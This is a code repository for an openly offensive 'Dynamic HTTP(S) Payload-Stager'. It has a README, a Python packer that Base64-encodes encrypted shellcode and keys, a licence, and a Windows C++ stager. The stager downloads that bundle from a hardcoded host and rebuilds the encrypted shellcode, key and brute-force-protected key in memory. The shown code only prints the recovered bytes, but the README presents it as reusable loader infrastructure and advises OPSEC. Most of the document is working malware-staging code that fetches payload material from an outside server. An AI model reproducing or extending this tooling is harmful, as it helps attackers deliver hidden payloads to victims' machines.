├── README.md ├── ConvertToFormat.py ├── LICENSE └── Dynamic_HTTP_Payload_Stager.cpp /README.md: -------------------------------------------------------------------------------- 1 | # Dynamic HTTP(S) Payload-Stager 2 | 3 | ### **A dynamic HTTP/S stager that lets one shellcode loader be reused for different encrypted payloads - no rebuilds.** 4 | 5 | Learn more about this in my [blog post](https://andrecrafts.com/projects/dynamic-https-payload-stager/) 6 | 7 | ## Quick overview 8 | A Python tool packages decryption params (key, IV, etc.) into a Base64 file you host. The stager fetches that file at runtime, parses `` lines, converts hex -> bytes, and loads them into memory. 9 | 10 | This lets the same loader decrypt different payloads on demand - no rebuilding or redeploying required. 11 | 12 | ## Video Demo 13 | https://github.com/user-attachments/assets/ae2b636e-de8e-4969-9e59-059a3be483b3 14 | 15 | ## How to use 16 | 17 | To use the Dynamic HTTP/S Stager, configure three parameters: 18 | 19 | - The number of variables 20 | - The URL to the hosted file 21 | - The delimiter used in the Python script 22 | 23 | ## Code 24 | - [ConvertToFormat.py](https://github.com/andrecrafts/Dynamic-HTTP-Payload-Stager/blob/main/ConvertToFormat.py) 25 | - [Dynamic_HTTP_Payload_Stager.cpp](https://github.com/andrecrafts/Dynamic-HTTP-Payload-Stager/blob/main/Dynamic_HTTP_Payload_Stager.cpp) 26 | 27 | ## Update 28 | `ConvertToFormat.py` now supports: read-from-file, custom delimiter, and output path. 29 | 30 | 31 | 32 | ## Notes 33 | - Host the file over HTTPS; consider token/HMAC or short-lived URLs for integrity. 34 | - Stager should validate counts/lengths and Base64 decode success. 35 | - PoC - treat keys/hosting with OPSEC in mind. 36 | -------------------------------------------------------------------------------- /ConvertToFormat.py: -------------------------------------------------------------------------------- 1 | #!/bin/python 2 | # ./ConvertToFormat.py 3 | # Made by WafflesExploits 4 | from base64 import b64encode 5 | from sys import argv 6 | 7 | # These variables are not to be changed. 8 | delimiter = "" 9 | output_path = "" 10 | arguments_count = len(argv) 11 | 12 | if(arguments_count < 2): 13 | print("./ConvertToFormat.py [ ]") 14 | print("[i] File content example: ") 15 | print("""unsigned char Encrypted_Shellcode[] = {0x99,0x12 }; 16 | unsigned char Encrypted_Key[] = {0xF6,0x6B}; 17 | unsigned char Protected_Key_for_bruteforce[] = {0x00,0xF0}; 18 | BYTE Hint_Byte = 0xCB;""") 19 | exit() 20 | elif(arguments_count < 3): 21 | delimiter = "-" 22 | elif(arguments_count < 4): 23 | delimiter = argv[2] 24 | else: 25 | delimiter = argv[2] 26 | output_path = argv[3] 27 | 28 | 29 | file_path = argv[1] 30 | 31 | f = open(file_path, "r") 32 | variables = f.read() 33 | 34 | 35 | # Remove strings 36 | text = variables 37 | text = text.replace("\n",""); 38 | text = text.replace("unsigned char ", ""); 39 | text = text.replace("BYTE ", ""); 40 | text = text.replace("[]", ""); 41 | text = text.replace(";","\n"); 42 | text = text.replace("{", "").replace("}", ""); 43 | text = text.replace(" = ",delimiter); 44 | text = text.replace(" ",""); 45 | text = text[:-1] # Remove last \n character 46 | 47 | #print(text) 48 | # Example Text final format: 49 | #Encrypted_hex_code-0x99,0x12 50 | #Encrypted_Key-0xF6,0x6B 51 | #Protected_Key_for_bruteforce-0x00,0xF0 52 | #HintByte-0xCB 53 | 54 | text_bytes = text.encode('utf-8') 55 | 56 | # Now, base64 encode the bytes 57 | encoded_text = b64encode(text_bytes).decode('utf-8') 58 | if(output_path): 59 | f = open(output_path, "w") 60 | f.write(encoded_text) 61 | f.close() 62 | print(f"[i] Using delimiter \"{delimiter}\"") 63 | print(f"[i] Saved file to \"{output_path}\"") 64 | else: 65 | print(encoded_text) 66 | if(arguments_count < 3): 67 | print("[i] Using default delimiter \"-\"") 68 | else: 69 | print(f"[i] Using delimiter \"{delimiter}\"") 70 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Legal Code 2 | 3 | CC0 1.0 Universal 4 | 5 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 6 | LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN 7 | ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 8 | INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 9 | REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS 10 | PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM 11 | THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED 12 | HEREUNDER. 13 | 14 | Statement of Purpose 15 | 16 | The laws of most jurisdictions throughout the world automatically confer 17 | exclusive Copyright and Related Rights (defined below) upon the creator 18 | and subsequent owner(s) (each and all, an "owner") of an original work of 19 | authorship and/or a database (each, a "Work"). 20 | 21 | Certain owners wish to permanently relinquish those rights to a Work for 22 | the purpose of contributing to a commons of creative, cultural and 23 | scientific works ("Commons") that the public can reliably and without fear 24 | of later claims of infringement build upon, modify, incorporate in other 25 | works, reuse and redistribute as freely as possible in any form whatsoever 26 | and for any purposes, including without limitation commercial purposes. 27 | These owners may contribute to the Commons to promote the ideal of a free 28 | culture and the further production of creative, cultural and scientific 29 | works, or to gain reputation or greater distribution for their Work in 30 | part through the use and efforts of others. 31 | 32 | For these and/or other purposes and motivations, and without any 33 | expectation of additional consideration or compensation, the person 34 | associating CC0 with a Work (the "Affirmer"), to the extent that he or she 35 | is an owner of Copyright and Related Rights in the Work, voluntarily 36 | elects to apply CC0 to the Work and publicly distribute the Work under its 37 | terms, with knowledge of his or her Copyright and Related Rights in the 38 | Work and the meaning and intended legal effect of CC0 on those rights. 39 | 40 | 1. Copyright and Related Rights. A Work made available under CC0 may be 41 | protected by copyright and related or neighboring rights ("Copyright and 42 | Related Rights"). Copyright and Related Rights include, but are not 43 | limited to, the following: 44 | 45 | i. the right to reproduce, adapt, distribute, perform, display, 46 | communicate, and translate a Work; 47 | ii. moral rights retained by the original author(s) and/or performer(s); 48 | iii. publicity and privacy rights pertaining to a person's image or 49 | likeness depicted in a Work; 50 | iv. rights protecting against unfair competition in regards to a Work, 51 | subject to the limitations in paragraph 4(a), below; 52 | v. rights protecting the extraction, dissemination, use and reuse of data 53 | in a Work; 54 | vi. database rights (such as those arising under Directive 96/9/EC of the 55 | European Parliament and of the Council of 11 March 1996 on the legal 56 | protection of databases, and under any national implementation 57 | thereof, including any amended or successor version of such 58 | directive); and 59 | vii. other similar, equivalent or corresponding rights throughout the 60 | world based on applicable law or treaty, and any national 61 | implementations thereof. 62 | 63 | 2. Waiver. To the greatest extent permitted by, but not in contravention 64 | of, applicable law, Affirmer hereby overtly, fully, permanently, 65 | irrevocably and unconditionally waives, abandons, and surrenders all of 66 | Affirmer's Copyright and Related Rights and associated claims and causes 67 | of action, whether now known or unknown (including existing as well as 68 | future claims and causes of action), in the Work (i) in all territories 69 | worldwide, (ii) for the maximum duration provided by applicable law or 70 | treaty (including future time extensions), (iii) in any current or future 71 | medium and for any number of copies, and (iv) for any purpose whatsoever, 72 | including without limitation commercial, advertising or promotional 73 | purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each 74 | member of the public at large and to the detriment of Affirmer's heirs and 75 | successors, fully intending that such Waiver shall not be subject to 76 | revocation, rescission, cancellation, termination, or any other legal or 77 | equitable action to disrupt the quiet enjoyment of the Work by the public 78 | as contemplated by Affirmer's express Statement of Purpose. 79 | 80 | 3. Public License Fallback. Should any part of the Waiver for any reason 81 | be judged legally invalid or ineffective under applicable law, then the 82 | Waiver shall be preserved to the maximum extent permitted taking into 83 | account Affirmer's express Statement of Purpose. In addition, to the 84 | extent the Waiver is so judged Affirmer hereby grants to each affected 85 | person a royalty-free, non transferable, non sublicensable, non exclusive, 86 | irrevocable and unconditional license to exercise Affirmer's Copyright and 87 | Related Rights in the Work (i) in all territories worldwide, (ii) for the 88 | maximum duration provided by applicable law or treaty (including future 89 | time extensions), (iii) in any current or future medium and for any number 90 | of copies, and (iv) for any purpose whatsoever, including without 91 | limitation commercial, advertising or promotional purposes (the 92 | "License"). The License shall be deemed effective as of the date CC0 was 93 | applied by Affirmer to the Work. Should any part of the License for any 94 | reason be judged legally invalid or ineffective under applicable law, such 95 | partial invalidity or ineffectiveness shall not invalidate the remainder 96 | of the License, and in such case Affirmer hereby affirms that he or she 97 | will not (i) exercise any of his or her remaining Copyright and Related 98 | Rights in the Work or (ii) assert any associated claims and causes of 99 | action with respect to the Work, in either case contrary to Affirmer's 100 | express Statement of Purpose. 101 | 102 | 4. Limitations and Disclaimers. 103 | 104 | a. No trademark or patent rights held by Affirmer are waived, abandoned, 105 | surrendered, licensed or otherwise affected by this document. 106 | b. Affirmer offers the Work as-is and makes no representations or 107 | warranties of any kind concerning the Work, express, implied, 108 | statutory or otherwise, including without limitation warranties of 109 | title, merchantability, fitness for a particular purpose, non 110 | infringement, or the absence of latent or other defects, accuracy, or 111 | the present or absence of errors, whether or not discoverable, all to 112 | the greatest extent permissible under applicable law. 113 | c. Affirmer disclaims responsibility for clearing rights of other persons 114 | that may apply to the Work or any use thereof, including without 115 | limitation any person's Copyright and Related Rights in the Work. 116 | Further, Affirmer disclaims responsibility for obtaining any necessary 117 | consents, permissions or other rights required for any use of the 118 | Work. 119 | d. Affirmer understands and acknowledges that Creative Commons is not a 120 | party to this document and has no duty or obligation with respect to 121 | this CC0 or use of the Work. 122 | -------------------------------------------------------------------------------- /Dynamic_HTTP_Payload_Stager.cpp: -------------------------------------------------------------------------------- 1 | // Dynamic_Payload_Stager.cpp 2 | // Made by WafflesExploits 3 | #define _CRT_SECURE_NO_WARNINGS 4 | #include 5 | #include 6 | #include 7 | using namespace std; 8 | #pragma comment(lib, "wininet.lib") 9 | 10 | // --Payload Staging-- 11 | #define NUM_VARIABLES 4 // Number of different variables to process 12 | #define FILE_URL "http://192.168.153.136:8080/payload" // URL of the file to be downloaded 13 | #define DELIMITER "-" // Delimiter to be used 14 | 15 | // Order Values 16 | // 1 - Shellcode 17 | // 2 - Encryption Key 18 | // 3 - Protected Key for brute-force 19 | // 4 - Hint Byte 20 | 21 | 22 | // Function to download a file using HTTP and WinINet API and store its content in a dynamically allocated C-style string 23 | bool DownloadFileToCString(const std::string& url, char** downloadedContent) { 24 | // Open an internet session 25 | HINTERNET hInternetSession = InternetOpen(L"WinINetFileDownload", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 26 | if (hInternetSession == NULL) { 27 | cout << "InternetOpen failed. Error:" << GetLastError() << endl; 28 | return false; 29 | } 30 | 31 | // Open the URL 32 | HINTERNET hConnection = InternetOpenUrl(hInternetSession, std::wstring(url.begin(), url.end()).c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); 33 | if (hConnection == NULL) { 34 | cout << "InternetOpenUrl failed. Error:" << GetLastError() << endl; 35 | InternetCloseHandle(hInternetSession); 36 | return false; 37 | } 38 | 39 | const int READ_BUFFER_SIZE = 4096; // Size of the buffer to read data from the internet 40 | char readBuffer[READ_BUFFER_SIZE]; 41 | DWORD bytesRead = 0; 42 | size_t totalDownloadedSize = 0; 43 | *downloadedContent = (char*)malloc(1); // Allocate initial memory for the content 44 | (*downloadedContent)[0] = '\0'; // Initialize with an empty string 45 | 46 | // Read data dynamically from the URL and append it to the content string 47 | while (InternetReadFile(hConnection, readBuffer, READ_BUFFER_SIZE, &bytesRead) && bytesRead > 0) { 48 | char* newDownloadedContent = (char*)realloc(*downloadedContent, totalDownloadedSize + bytesRead + 1); // Allocate more memory 49 | if (newDownloadedContent == NULL) { 50 | cout << "[!] Memory allocation failed." << endl; 51 | free(*downloadedContent); 52 | InternetCloseHandle(hConnection); 53 | InternetCloseHandle(hInternetSession); 54 | return false; 55 | } 56 | 57 | *downloadedContent = newDownloadedContent; 58 | memcpy(*downloadedContent + totalDownloadedSize, readBuffer, bytesRead); // Append new data to the content 59 | totalDownloadedSize += bytesRead; 60 | (*downloadedContent)[totalDownloadedSize] = '\0'; // Null-terminate the string 61 | } 62 | 63 | // Close internet handles 64 | InternetCloseHandle(hConnection); 65 | InternetCloseHandle(hInternetSession); 66 | 67 | return true; 68 | } 69 | 70 | //-------------------------- 71 | // Extract specific value from a delimited string 72 | //-------------------------- 73 | // Separates by "-" delimiter and returns every second token 74 | char* ExtractValueByDelimiter(char* inputString) { 75 | // Returns the first token 76 | char* token = strtok(inputString, DELIMITER); 77 | int tokenIndex = 1; 78 | 79 | // Keep extracting tokens while the delimiter is found 80 | while (token != NULL) { 81 | if ((tokenIndex % 2) == 0) { 82 | return token; // Return token if index is even 83 | } 84 | token = strtok(NULL, DELIMITER); 85 | tokenIndex++; 86 | } 87 | return nullptr; // Return nullptr if no valid token is found 88 | } 89 | 90 | // Print data in hexadecimal format 91 | VOID PrintHexData(LPCSTR name, PBYTE hexData, size_t numElements) { 92 | cout << "[+] " << name << ": \n"; 93 | cout << "unsigned char " << name << "[" << numElements << "] = {"; 94 | 95 | for (long int i = 0; i < numElements; i++) { 96 | printf("0x%02X", hexData[i]); 97 | if (i < numElements - 1) { 98 | printf(","); 99 | } 100 | if ((i + 1) % 16 == 0) { cout << endl; } // Print a newline every 16 elements 101 | } 102 | 103 | cout << "}\n"; 104 | } 105 | 106 | // Convert a comma-separated hex string to byte array 107 | unsigned char* ConvertHexStringToByteArray(char* hexString, SIZE_T* byteArraySize) { 108 | SIZE_T elementCount = 0; 109 | PBYTE byteArray = NULL; 110 | BYTE singleByte = 0; 111 | 112 | // Returns first token 113 | char* token = strtok(hexString, ","); 114 | while (token != NULL) { 115 | elementCount++; 116 | 117 | // Allocate or reallocate memory for the byte array 118 | if (byteArray == NULL) { 119 | byteArray = (PBYTE)LocalAlloc(LPTR, elementCount); 120 | } 121 | else { 122 | byteArray = (PBYTE)LocalReAlloc(byteArray, elementCount, LMEM_MOVEABLE | LMEM_ZEROINIT); 123 | } 124 | 125 | if (byteArray == NULL) { 126 | printf("[!] Failed to allocate memory for byte array.\n"); 127 | return NULL; 128 | } 129 | 130 | // Convert string "0x01" to an integer value, Convert the int value to hexadecimal 131 | singleByte = static_cast(strtol(token + 2, nullptr, 16)); 132 | byteArray[elementCount - 1] = singleByte; // Store the byte in the array 133 | 134 | token = strtok(NULL, ","); 135 | } 136 | 137 | // Save the size of the resulting byte array 138 | *byteArraySize = elementCount; 139 | return byteArray; 140 | } 141 | 142 | // Separate a string into an array of strings by newline character 143 | char** SplitStringByNewLine(char* inputString) { 144 | char* token = strtok(inputString, "\n"); 145 | char** linesArray = (char**)malloc(NUM_VARIABLES * sizeof(char*)); 146 | SIZE_T lineLength; 147 | int lineIndex = 0; 148 | 149 | // Keep extracting lines until the end of the string 150 | while (token != NULL) { 151 | // Allocate memory for each line and copy the line into the array 152 | lineLength = strlen(token) + 1; // Including null terminator 153 | linesArray[lineIndex] = (char*)malloc(lineLength); 154 | 155 | if (linesArray[lineIndex] == nullptr) { 156 | printf("[!] Failed to allocate memory for line.\n"); 157 | return NULL; 158 | } 159 | 160 | strcpy(linesArray[lineIndex], token); 161 | token = strtok(NULL, "\n"); 162 | lineIndex++; 163 | } 164 | 165 | return linesArray; 166 | } 167 | 168 | 169 | // Base64 Decode Functions 170 | static const int B64index[256] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 171 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 172 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 63, 62, 62, 63, 52, 53, 54, 55, 173 | 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 174 | 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 0, 175 | 0, 0, 0, 63, 0, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 176 | 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 }; 177 | 178 | char* b64decode(const void* data, const size_t len) { 179 | unsigned char* p = (unsigned char*)data; 180 | int pad = len > 0 && (len % 4 || p[len - 1] == '='); 181 | const size_t L = ((len + 3) / 4 - pad) * 4; 182 | 183 | // Allocate memory for the decoded string 184 | char* str = (char*)malloc(L / 4 * 3 + pad + 1); // +1 for null terminator 185 | if (str == nullptr) { 186 | printf("[!] str was null."); 187 | return nullptr; // Return null if memory allocation fails 188 | } 189 | 190 | size_t j = 0; 191 | for (size_t i = 0; i < L; i += 4) { 192 | int n = B64index[p[i]] << 18 | B64index[p[i + 1]] << 12 | B64index[p[i + 2]] << 6 | B64index[p[i + 3]]; 193 | str[j++] = n >> 16; 194 | str[j++] = n >> 8 & 0xFF; 195 | str[j++] = n & 0xFF; 196 | } 197 | 198 | if (pad) { 199 | int n = B64index[p[L]] << 18 | B64index[p[L + 1]] << 12; 200 | str[j++] = n >> 16; 201 | 202 | if (len > L + 2 && p[L + 2] != '=') { 203 | n |= B64index[p[L + 2]] << 6; 204 | str[j++] = n >> 8 & 0xFF; 205 | } 206 | } 207 | 208 | // Null-terminate the C-style string 209 | str[j] = '\0'; 210 | 211 | return str; 212 | } 213 | 214 | BOOL Get_Payload_From_Url(OUT PBYTE* Encrypted_Shellcode, OUT PBYTE* Encrypted_Key, OUT PBYTE* Protected_Key_for_bruteforce, OUT BYTE* Hint_Byte, SIZE_T* shellcode_size, SIZE_T* key_size, SIZE_T* Protected_Key_for_bruteforce_size) { 215 | char* downloadedContent = nullptr; 216 | SIZE_T HintByte_size = 0, downloadedContent_size = 0; 217 | 218 | // Download file content from URL 219 | if (DownloadFileToCString(FILE_URL, &downloadedContent)) { 220 | printf("[i] File downloaded successfully.\n"); 221 | //printf("[i] Downloaded content: %s.\n", downloadedContent); 222 | } 223 | else { 224 | printf("[!] Failed to download file.\n"); 225 | return false; 226 | } 227 | 228 | // Get downloadContent Size 229 | downloadedContent_size = strlen(downloadedContent); 230 | 231 | // Call the b64decode function 232 | char* decoded_str = b64decode(downloadedContent, downloadedContent_size); 233 | // Free the allocated memory 234 | free(downloadedContent); 235 | // Check if decoding was successful 236 | if (decoded_str == nullptr) { 237 | printf("[!] base64decode Memory allocation failed!\n"); 238 | return false; 239 | } 240 | 241 | // Separate downloaded content by newline 242 | char** separatedLines = SplitStringByNewLine(decoded_str); 243 | // Free decoded_str 244 | free(decoded_str); 245 | // Check if SplitStrinByNewLine was successful 246 | if (separatedLines == NULL) { 247 | printf("[!] Failed to separate lines from downloaded content.\n"); 248 | return false; 249 | } 250 | 251 | // Convert to Hexadecimal and store in the variables 252 | *Encrypted_Shellcode = ConvertHexStringToByteArray(ExtractValueByDelimiter(separatedLines[0]), shellcode_size); 253 | *Encrypted_Key = ConvertHexStringToByteArray(ExtractValueByDelimiter(separatedLines[1]), key_size); 254 | *Protected_Key_for_bruteforce = ConvertHexStringToByteArray(ExtractValueByDelimiter(separatedLines[2]), Protected_Key_for_bruteforce_size); 255 | *Hint_Byte = *ConvertHexStringToByteArray(ExtractValueByDelimiter(separatedLines[3]), &HintByte_size); 256 | 257 | // Check if ConvertHexStringToByteArray was successful 258 | if (*Encrypted_Shellcode == NULL || *Encrypted_Key == NULL || *Protected_Key_for_bruteforce == NULL || *Hint_Byte == NULL) { 259 | printf("[!] Failed at ConvertHexStringToByteArray."); 260 | return false; 261 | } 262 | 263 | // Free SeparatedLines variable 264 | for (int i = 0; i < NUM_VARIABLES; ++i) { 265 | free(separatedLines[i]); 266 | } 267 | 268 | return true; 269 | } 270 | 271 | int main() { 272 | SIZE_T shellcode_size = 0; 273 | SIZE_T key_size = 0; 274 | SIZE_T Protected_Key_for_bruteforce_size = 0; 275 | unsigned char* Encrypted_Shellcode, *Encrypted_Key, *Protected_Key_for_bruteforce; 276 | BYTE Hint_Byte; 277 | 278 | if (!Get_Payload_From_Url(&Encrypted_Shellcode, &Encrypted_Key, &Protected_Key_for_bruteforce, &Hint_Byte, &shellcode_size, &key_size, &Protected_Key_for_bruteforce_size)) { 279 | printf("[!] Failed at Get_Payload_From_Url."); 280 | return -1; 281 | } 282 | 283 | // Print Variables as hex data 284 | PrintHexData("Encrypted_Shellcode", Encrypted_Shellcode, shellcode_size); 285 | PrintHexData("Encrypted_Key", Encrypted_Key, key_size); 286 | PrintHexData("Protected_Key_for_bruteforce", Protected_Key_for_bruteforce, Protected_Key_for_bruteforce_size); 287 | printf("[i] Hint Byte: 0x%02X\n", Hint_Byte); 288 | 289 | // Free allocated memory 290 | LocalFree(Encrypted_Shellcode); 291 | LocalFree(Encrypted_Key); 292 | LocalFree(Protected_Key_for_bruteforce); 293 | return 0; 294 | } 295 | --------------------------------------------------------------------------------